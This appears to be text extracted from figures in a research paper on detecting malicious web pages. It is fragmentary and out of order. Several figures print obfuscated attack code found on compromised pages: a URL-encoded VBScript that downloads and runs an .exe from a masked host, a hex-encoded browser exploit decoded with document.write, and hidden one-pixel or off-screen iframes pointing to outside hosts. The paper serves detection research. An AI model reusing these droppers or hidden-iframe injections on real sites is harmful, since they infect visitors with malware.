P1_Prod_Version=ShockwaveFlash','movie','splash_visa8' ); //end AC code	</script><noscript><object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
codebase="http://xxxxxxxd.xxxxxxxxxxdia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0" width="400" height="63">	
<param name="movie" value= xxxxxx_visa8.swf" />	
<param name="quality" value="high" />	
<embed src="splash_visa8.swf" quality="high" pluginspage="http://www.xxxxxe.com/
shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" type="application/xshockwave-flash" width="400" height="63"></embed>	
</object></noscript>	
</div></td>	
</tr> <tr>	
<td colspan="3" valign="top"><table width="398" height="1" border="0" align="center"
cellpadding="0" cellspacing="0">	
<tr>	
<td height="1" bgcolor="#023401" scope="col"></td> </tr>	

HTML content of query URL 1 (pattern 1)

Fig. 7.

<script type="text/javascript">	
var _gaq = _gaq || [];	_gaq.push(['_setAccount', 'UA-6782185-1']);	
_gaq.push(['_trackPageview']);	
(function() {	var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;	
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.googleanalytics.com/ga.js';	
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);	})();	</script><script>	
<!--	
document.write(unescape("%3Cscript%20language%3D%22VBScript%22%3E%0D%0A%0D%0A%20%20%20%20on%20error%20resume%20next%0D%0A%0D%0A%20%20%20%20%0D%0A%0D%0A%20%20%20%20%27%20due%20to%20how%20ajax%20works%2C%20the%20file%20MUST%20be%20within%20the%20same%20local%20domain%0D%0A%20%20%20%20dl%20%3D%20%22http%3A//
xxxxxxxxxusic.com/vl.exe%22%0D%0A%0D%0A%20%20%20%20%27%20create%20adodbstream%20object%0D%0A%20%20%20%20Set%20df%20%3D%20document.createElement%28%22object%22%29%0D%0A%20%20%20%20df.setAttribute%20%22classid%22%2C%20%22clsid%3ABD96C556-65A3-11D0-983A-00C04FC29E36%22%0D%0A%20%20%20%20str%3D%22Microsoft.XMLHTTP%22%0D%0A%20%20%20%20Set%20x%20%3D%20df.CreateObject%28str%2C%22%22%29%0D%0A%0D%0A%20%20%20%20a1%3D%22Ado%22%0D%0A%20%20%20%20a2%3D%22db.
%22%0D%0A%20%20%20%20a3%3D%22Str%22%0D%0A%20%20%20%20a4%3D%22eam%22%0D%0A%20%20%20%20str1%3Da1%26a2%26a3%26a4%0D%0A%20%20%20%20str5%3Dstr1%0D%0A%	

Fig. 5.

<TD vAlign=top align=left colSpan=3 height=8></TD></TR></TBODY></TABLE></TD></
TR></TBODY></TABLE></TD>	
<TD vAlign=top align=left width=540>	
<TABLE cellSpacing=0 cellPadding=0 width=532 border=0>	
<TBODY>	
<TR>	
<TD vAlign=top align=middle height=146>	
<OBJECT codeBase=http://xxxxxxxx.xxxxxxxxxxxxa.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0 height=144 width=530 classid=clsid:D27CDB6EAE6D-11cf-96B8-444553540000><PARAM NAME="_cx" VALUE="14023"><PARAM
NAME="_cy" VALUE="3810"><PARAM NAME="FlashVars" VALUE="">	
	<PARAM NAME="Movie" VALUE="swf/banner-paidnew.swf"><PARAM NAME="Src"
VALUE="swf/banner-paidnew.swf"><PARAM NAME="Quality" VALUE="High"><PARAM
NAME="AllowScriptAccess" VALUE=""><PARAM NAME="DeviceFont" VALUE="0"><PARAM
NAME="EmbedMovie" VALUE="0"><PARAM NAME="SWRemote" VALUE=""><PARAM
NAME="MovieData" VALUE=""><PARAM NAME="SeamlessTabbing" VALUE="1"><PARAM
NAME="Profile" VALUE="0"><PARAM NAME="ProfileAddress" VALUE=""><PARAM
NAME="ProfilePort" VALUE="0"><PARAM NAME="AllowNetworking" VALUE="all"><PARAM
NAME="AllowFullScreen" VALUE="false " >	<embed src="swf/banner-paidnew.swf" quality="High" pluginspage="http://
www.xxxxxxxxxa.com/go/getflashplayer" type="application/x-shockwave-flash" width="530"height="144"></embed>	
</OBJECT></TD></TR><TR>	
<TD height=20></TD></TR><TR>	

HTML content of query URL 2 (pattern 1)

Fig. 8.

207b200a096f313d646f63756d656e742e637265617465456c656d656e74282274626f647922293
b200a096f312e636c69636b3b200a09766172206f32203d206f312e636c6f6e654e6f646528293b0
90a096f312e636c6561724174747269627574657328293b200a096f313d6e756c6c3b20436f6c6c
6563744761726261676528293b200a09666f722876617220783d303b783c61312e6c656e677468
3b782b2b292061315b785d2e7372633d73313b200a096f322e636c69636b3b0a7d0a0a6966286e6
176696761746f722e757365724167656e742e746f4c6f7765724361736528292e696e6465784f662
8226d736965203722293d3d2d31290a7b0a094d44324328293b200a09536574496e74657276616
c2822776f72645f2829222c34303030293b0a7d0a656c73650a7b0a096f6b28293b0a0953657449
6e74657276616c2822776f72645f2829222c34303030293b090a7d0920200a0a3c2f73637269707
43e0a0a3c2f626f64793e0a3c2f68746d6c3e0d99c0c7267d36068edb428f6c3ee419042df740886
f8d01db583d84';	
var HJN = '';	var q = Vg.slice ( 38, 14236 );	
for ( K = 38 ; K < 14236 ; K += 2 )	{	
	
HJN += '%' + Vg.slice ( K, K + 2 );	
}	
document.write(unescape(HJN));	
</script>	
<iframe src=”http://xxxxxxxerver.info/?watch=3B47C&feature=popular”width=1 height=1
style="visibility:hidden;position:absolute"></iframe><script>document.write('<iframe
src="http://xxxxxst.net/?click=267640" width=100 height=100
style="position:absolute;top:-10000;left:-10000;"></iframe>');</script>	

Fig. 6.

HTML content of query URL 1 (pattern 2)

HTML content of query URL 2 (pattern 2)<script language="javascript"><!--	
document.write('<scr'+'ipt language="javascript1.1" src="http://www.xxxxxxxx.de/r1/XPHP/ZSJ9?r='+(Math.random())+'"></scri'+'pt>');	
</script>	
</div></td>	
</tr>	</table></td>	
<td class="bgshl"><img src="img/shtl.jpg" width="9" /></td>	
<td class="content"><table width="100%" border="0" cellspacing="0" cellpadding="0">	
<tr>	
<td class="chead"><object classid="clsid:D27CDB6EAE6D-11cf-96B8-444553540000" codebase="http://xxxxxxxxxx.xxxxxxxxxxxx.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0" wmode="opaque" width="728"height="90">	
<param name="movie" value="swf/3D_RA14_Ads_728x90.swf">	
<param name="quality" value="high">	
<param name="wmode" value="opaque">	
<param name="FlashVars" VALUE="clickTAG=http://www.xxxxxxxxx.net">	
<embed src="swf/3D_RA14_Ads_728x90.swf" FlashVars="clickTAG=http://
www.xxxxxxxx.net" wmode="opaque" quality="high" pluginspage="http://www.xxxxxx.com/
shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" type="application/xshockwave-flash" width="728" height="90"></embed>	
</object>Ad by Rebus <a href="http://www.xxxxxxxxxx.de"target="_blank">Renderfarm</a> | <a href="contact.php">Imprint / Contact</a></td>	HTML content of detected URL (pattern 1)

Fig. 9.

8HTML content of detected URL (pattern 2)